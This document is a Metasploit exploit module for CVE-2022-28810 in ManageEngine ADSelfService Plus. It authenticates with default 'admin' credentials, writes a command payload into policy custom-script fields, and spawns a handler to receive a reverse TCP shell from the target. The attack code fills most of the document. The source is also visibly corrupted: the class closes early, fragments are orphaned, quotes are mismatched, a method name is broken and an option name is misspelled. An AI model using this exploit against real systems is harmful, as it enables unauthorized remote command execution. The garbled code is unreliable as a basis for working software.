

ManageEngine ADSelfService Plus Custom Script Execution

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ManageEngine ADSelfService Plus Custom Script Execution',
        'Description' => %q{
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          feature was removed in build 6122 as part of the patch for CVE-2022-28810.
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          payload. This module also does not automatically remove the malicious code from
          the remote target. Use the "TARGET_RESET" operation to remove the malicious
          custom script when you are done.

          ADSelfService Plus uses default credentials of "admin":"admin"
        },
        'Author' => [
          # Discovered and exploited by unknown threat actors
          'Jake Baines', # Analysis, CVE credit, and Metasploit module
          'Hernan Diaz', # Analysis and CVE credit
          'Andrew Iwamaye', # Analysis and CVE credit
          'Dan Kelley' # Analysis and CVE credit
        ],
        'References' => [
          ['CVE', '2022-28810'],
          ['URL', 'https://www.manageengine.com/products/self-service-password/kb/cve-2022-28810.html'],
          ['URL', 'https://www.rapid7.com/blog/post/2022/04/14/cve-2022-28810-manageengine-adservice-plus-authenticated-command-execution-fixed/']
        ],
        'DisclosureDate' => '2022-04-09',
        'License' => MSF_LICENSE,
        'Platform' => 'win',
        'Arch' => ARCH_CMD,
        'Privileged' => true, # false if ADSelfService Plus is not run as a service
        'Stance' => Msf::Exploit::Stance::Passive,
        'Targets' => [
          [
            'Windows Command',
            {
              'Arch' => ARCH_CMD,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/windows/jjs_reverse_tcp'
              }
            }
          ]
        ]
      )
    )
  end
end
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    }
  ],
  'DefaultTarget' => 0,
  'DefaultOptions' => {
    'REPORT' => 8888,
    'DisablePayloadHandler' => true,
    'JJS_PATH' => '..\\jre\\bin\\jjs.exe'
  },
  'Notes' => {
    'Stability' => [CRASH_SAFE],
    'Reliability' => [REPEATABLE_SESSION],
    'SideEffects' => [IOC_IN_LOGS]
  }
}
)
)

register_options([
  OptString.new('TARGET_URI', [true, 'Path traversal for auth bypass', '/']),
  OptString.new('USERNAME', [true, 'The administrator username', 'admin']),
  OptString.new('PASSWORD', [true, 'The administrator user's password', 'admin']),
  OptBool.new('TARGET_RESET', [true, 'On the target, disables custom scripts and clears custom script
field', false])
])
end

##
# Because this is an authenticated vulnerability, we will rely on a version string
# for the check function. We can extract the version (or build) from selfservice/index.html.
##
def check
  res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path,
'/selfservice/index.html'))
  unless res
    return CheckCode::Unknown('The target failed to respond to check.')
  end

  unless res.code == 200
    return CheckCode::Safe('Failed to retrieve /selfservice/index.html')
  end

  ver = res.body[/\.css\?buildNo=(?<build_id>[0-9]+)/, :build_id]
  if ver.nil?
    return CheckCode::Safe('Could not extract a version number')
  end

  if Rex::Version.new(ver) < Rex::Version.new('6122')
    return CheckCode::Appears("This determination is based on the version string: #{ver}.")
  end

  CheckCode::Safe("This determination is based on the version string: #{ver}.")
end

##
# Authenticate with the remote target. Login requires four steps:
#
# 1. Grab a CSRF token
# 2. Post credentials to /ServletAPI/accounts/login
# 3. Post credentials to /j_security_check
# 4. Grab another CSRF token for authenticated requests
#
# @return a new CSRF token to use with authenticated requests
##
def authenticate
  # grab a CSRF token from the index
  res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/authorization.do') })
  fail_with(Failure::Unreachable, 'The target did not respond') unless res
  fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') if res.get_cookies_parsed.empty? ||
res.get_cookies_parsed['HttpOnly', adscsrf'].empty?
  csrf_tok = res.get_cookies_parsed['HttpOnly', adscsrf'].to_s[/HttpOnly, adscsrf=(?<token>[0-9a-f-]+);
path=/, :token]
  fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') unless csrf_tok

  # send the first login request to get the ssp token
  res = send_request_cgi({
    'method' => 'POST',
    'uri' => normalize_uri(target_uri.path, '/ServletAPI/accounts/login'),
    'keep_cookies' => true,
    'vars_post' =>
    {
      'loginName' => datastore['USERNAME'],
      'domainName' => 'ADSelfService Plus Authentication',
      'j_username' => datastore['USERNAME'],
      'j_password' => datastore['PASSWORD'],
      'AUTHRULE_NAME' => 'ADAuthenticator',
      'adscsrf' => csrf_tok
    }
  })
  fail_with(Failure::NoAccess, 'Log in attempt failed') unless res.code == 200

  # send the second login request to get the sso token
  res = send_request_cgi({
    'method' => 'POST',
    'uri' => normalize_uri(target_uri.path, '/j_security_check'),
    'keep_cookies' => true,
    'vars_post' =>
    {
      'loginName' => datastore['USERNAME'],
      'domainName' => 'ADSelfService Plus Authentication',
      'j_username' => datastore['USERNAME'],
      'j_password' => datastore['PASSWORD'],
      'AUTHRULE_NAME' => 'ADAuthenticator',
      'adscsrf' => csrf_tok
    }
  })
  fail_with(Failure::NoAccess, 'Log in attempt failed') unless res.code == 200

  # revisit authorization.do to complete authentication
  res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/authorization.do'),
'keep_cookies' => true })
  fail_with(Failure::NoAccess, 'Log in attempt failed') unless res.code == 200
  fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') if res.get_cookies_parsed.empty? ||
res.get_cookies_parsed['adscsrf'].empty?
  csrf_tok = res.get_cookies_parsed['adscsrf'].to_s[/adscsrf=(?<token>[0-9a-f-]+)/, :token]
  fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') unless csrf_tok

  print_good('Authentication successful')

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    csrf_tok
end

##
# Triggering the payload requires user interaction. Using the default payload
# handler will cause this module to exit after planting the payload, so the
# module will spawn it's own handler so that it doesn't exit until a shell
# has been received/handled. Note that this module is passive so it should
# just be chilling quietly in the background.
#
# This code is largely copy/paste from windows/local/persistence.rb
##
def create_multihandler(lhost, lport, payload_name)
  pay = framework.payloads.create(payload_name)
  pay.datastore['LHOST'] = lhost
  pay.datastore['LPORT'] = lport
  print_status('Starting exploit/multi/handler')

  # Set options for module
  mh = framework.exploits.create('multi/handler')
  mh.share_datastore(pay.datastore)
  mh.datastore['PAYLOAD'] = payload_name
  mh.datastore['EXITFUNC'] = 'thread'
  mh.datastore['ExitOnSession'] = true
  # Validate module options
  mh.options.validate(mh.datastore)
  # Execute showing output
  mh.exploit_simple(
    'Payload' => mh.datastore['PAYLOAD'],
    'LocalInput' => user_input,
    'LocalOutput' => user_output,
    'RunAsJob' => true
  )

  # Check to make sure that the handler is actually valid
  # If another process has the port open, then the handler will fail
  # but it takes a few seconds to do so. The module needs to give
  # the handler time to fail or the resulting connections from the
  # target could end up on a different handler with the wrong payload
  # or dropped entirely.
  Rex.sleep(5)
  return nil if framework.jobs[mh.job_id.to_s].nil?

  return mh.job_id.to_s
end

# The json policy blob that ADSSP provides us is not accepted by ADSSP
# if we try to POST it back. Specifically, ADSP is very unhappy about all
# the booleans using "true" or "false" instead of "1" or "0" *except* for
# HIDE_CAPTCHA_RPUA which has to remain a boolean. Sounds unbelievable, but
# here we are.
def fix_adssp_json(json_hash)
  json_hash.map do |key, value|
    if value.is_a? Hash
      [key, fix_adssp_json(value)]
    elsif value.is_a? Array
      value = value.map do |array_val|
        if array_val.is_a? Hash
          array_val = fix_adssp_json(array_val)
        end
        array_val
      end
      [key, value]
    elsif key == 'HIDE_CAPTCHA_RPUA'
      [key, value]
    elsif value.is_a? TrueClass
      [key, 1]
    elsif value.is_a? FalseClass
      [key, 0]
    else
      [key, value]
    end
  end.to_h
end

def exploit
  csrf_tok = authenticate

  # Grab the list of configured policies
  policy_list_uri = normalize_uri(target_uri.path,
  '/ServletAPI/configuration/policyConfig/getPolicyConfigDetails')
  print_status("Requesting policy list from #{policy_list_uri}")
  res = send_request_cgi({ 'method' => 'GET', 'uri' => policy_list_uri })
  fail_with(Failure::UnexpectedReply, "Log in attempt failed") unless res.code == 200
  policy_json = res.get_json_document
  fail_with(Failure::UnexpectedReply, "The target didn't return a JSON body") if policy_json.nil?
  policy_details_json = policy_json['POLICY_DETAILS']
  fail_with(Failure::UnexpectedReply, "The target didn't have any configured policies") if
policy_details_json.nil?

  # There can be multiple policies. This logic will loop over each one, grab the configuration
  # details, update the configuration to include our payload, and then POST it back.
  policy_details_json.each do |policy_entry|
    policy_id = policy_entry['POLICY_ID']
    policy_name = policy_entry['POLICY_NAME']
    fail_with(Failure::UnexpectedReply, "Policy details missing name or id") if policy_id.nil? ||
policy_name.nil?

    print_status("Requesting policy details for #{policy_name}")
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/ServletAPI/configuration/policyConfig/getAPCDetails'),
      'vars_get' =>
        {
          'POLICY_ID' => policy_id
        }
    })
    fail_with(Failure::UnexpectedReply, 'Acquiring specific policy details failed') unless res.code == 200

    # load the JSON and insert (or remove) our payload
    specific_policy_json = res.get_json_document
    fail_with(Failure::UnexpectedReply, "The target didn't return a JSON body") if specific_policy_json.nil?
    fail_with(Failure::UnexpectedReply, "The target didn't contain the expected JSON") if
specific_policy_json['SCRIPT_COMMAND_RESET'].nil?
    new_payload = "cmd.exe /c #{@payload.encoded}"

    if datastore['TARGET_RESET']

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        print_status('Disabling custom script functionality')
        specific_policy_json['IS_CUSTOM_SCRIPT_ENABLED_RESET'] = '0'
        specific_policy_json['SCRIPT_COMMAND_RESET'] = ''
        specific_policy_json['IS_CUSTOM_SCRIPT_ENABLED_UNLOCK'] = '0'
        specific_policy_json['SCRIPT_COMMAND_UNLOCK'] = ''
    else
        print_status('Enabling custom scripts and inserting the payload')
        specific_policy_json['IS_CUSTOM_SCRIPT_ENABLED_RESET'] = '1'
        specific_policy_json['SCRIPT_COMMAND_RESET'] = new_payload
        specific_policy_json['IS_CUSTOM_SCRIPT_ENABLED_UNLOCK'] = '1'
        specific_policy_json['SCRIPT_COMMAND_UNLOCK'] = new_payload
    end

    # fix up the ADSSP provided json so ADSSP will accept it 0.0
    updated_policy = fix_adssp_json(specific_policy_json).to_json

    policy_update_uri = normalize_uri(target_uri.path,
'/ServletAPI/configuration/policyConfig/setAPCDetails')
    print_status("Posting updated policy configuration to #{policy_update_uri}")
    res = send_request cgi({
        'method' => 'POST',
        'uri' => policy_update_uri,
        'vars_post' =>
            {
                'APC_SETTINGS_DETAILS' => updated_policy,
                'POLICY_NAME' => policy_name,
                'adscsrf' => csrf_tok
            }
    })
    fail_with(Failure::UnexpectedReply, 'Policy update request failed') unless res.code == 200

    # spawn our own payload handler?
    if !datastore['TARGET_RESET'] && datastore['DisablePayloadHandler']
        listener_job_id = create_multihandler(datastore['LHOST'], datastore['LPORT'], datastore['PAYLOAD'])
        if listener_job_id.blank?
            print_error("Failed to start exploit/multi/handler on #{datastore['LPORT']}, it may be in use by
another process.")
        end
    else
        print_good('Done!')
    end
end
end
end
end
end

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